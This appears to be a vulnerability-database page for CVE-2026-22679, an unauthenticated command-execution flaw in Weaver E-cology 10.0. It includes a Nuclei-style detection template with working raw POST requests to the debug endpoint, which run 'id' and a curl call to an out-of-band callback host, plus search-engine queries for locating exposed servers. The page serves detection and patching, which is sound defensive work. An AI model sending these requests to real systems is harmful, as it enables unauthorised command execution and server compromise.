CVE-2026-22679: Weaver (Fanwei) E-cology 10.0 - Remote Code Execution

2026-11-16 PoC Public

Description

Weaver (Fanwei) E-cology 10.0 builds prior to 20260312 expose an unauthenticated Dubbo debug endpoint at /papi/esearch/data/devops/dubboApi/debug/method. Attacker-controlled interfaceName and methodName values are used to invoke registered helpers, including cn.hutool.core.util.RuntimeUtil.execForStr and com.weaver.dw.platform.spark.util.LinuxCommand.execCmdWaitStdOut, resulting in arbitrary command execution. The vendor fix (build 20260312) removes the debug endpoint entirely. Exploitation was observed in the wild by the Shadowserver Foundation starting 2026-03-31. This template runs a benign 'id' command (same approach as the official non-CVE ecology-execforstr-rce template) and matches process-id output in the JSON response.

Details

CVE
CVE-2026-22679 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-22679

info:
  name: Weaver (Fanwei) E-cology 10.0 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Weaver (Fanwei) E-cology 10.0 builds prior to 20260312 expose an unauthenticated Dubbo debug endpoint at /papi/esearch/data/devops/dubboApi/debug/method. Attacker-controlled interfaceName and methodName values are used to invoke registered helpers, including cn.hutool.core.util.RuntimeUtil.execForStr and com.weaver.dw.platform.spark.util.LinuxCommand.execCmdWaitStdOut, resulting in arbitrary command execution. The vendor fix (build 20260312) removes the debug endpoint entirely. Exploitation was observed in the wild by the Shadowserver Foundation starting 2026-03-31. This template runs a benign 'id' command (same approach as the official non-CVE ecology-execforstr-rce template) and matches process-id output in the JSON response.
  impact: |
    Unauthenticated attackers can execute arbitrary operating-system commands as the Weaver Tomcat / Java process, which may lead to full system compromise.
  remediation: |
    Upgrade Weaver E-cology 10.0 to build 20260312 or later. If patching is delayed, block external access to /papi/esearch/data/devops/dubboApi/debug/method.
  reference:
    - https://www.vulncheck.com/advisories/weaver-e-cology-unauthenticated-rce-via-dubboapi-debug-endpoint
    - https://www.weaver.com.cn/cs/securityDownload.html
    - https://www.bleepingcomputer.com/news/security/weaver-e-cology-critical-bug-exploited-in-attacks-since-march/
    - https://github.com/keraattin/CVE-2026-22679
    - https://nefariousplan.com/posts/weaver-ecology-22679-endpoint-was-named-debug
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22679
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-22679
    cwe-id: CWE-306
    epss-score: 0.20692
    epss-percentile: 0.97550
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: weaver
    product: e-cology
    fofa-query: body="/build/ecodesdk/static/js/lib.js"
    shodan-query: http.html:"/build/ecodesdk/static/js/lib.js"
  tags: cve,cve2026,weaver,fanwei,ecology,e-cology,rce,oast

http:
  - raw:
      - |
        POST /papi/esearch/data/devops/dubboApi/debug/method?interfaceName=cn.hutool.core.util.RuntimeUtil&methodName=execForStr HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [["id"]]

      - |
        POST /papi/esearch/data/devops/dubboApi/debug/method?interfaceName=cn.hutool.core.util.RuntimeUtil&methodName=execForStr HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [["curl http://{{interactsh-url}}"]]

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        name: linux-id
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'regex("uid=([0-9(a-z) ]+)gid=([0-9(a-z) ]+)", body)'
        condition: and

      - type: dsl
        name: oast
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "Received", "Total", "Dload")'
        condition: and
# digest: 490a00463044022005fae2079abc8d472da03cea46e7241097fe03d9b2d3bc70a94fca0173a6a20002206a96f50513e5c5dbde57e0b1cbb5ad08c84160e842454c68cf6a3708add084af:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life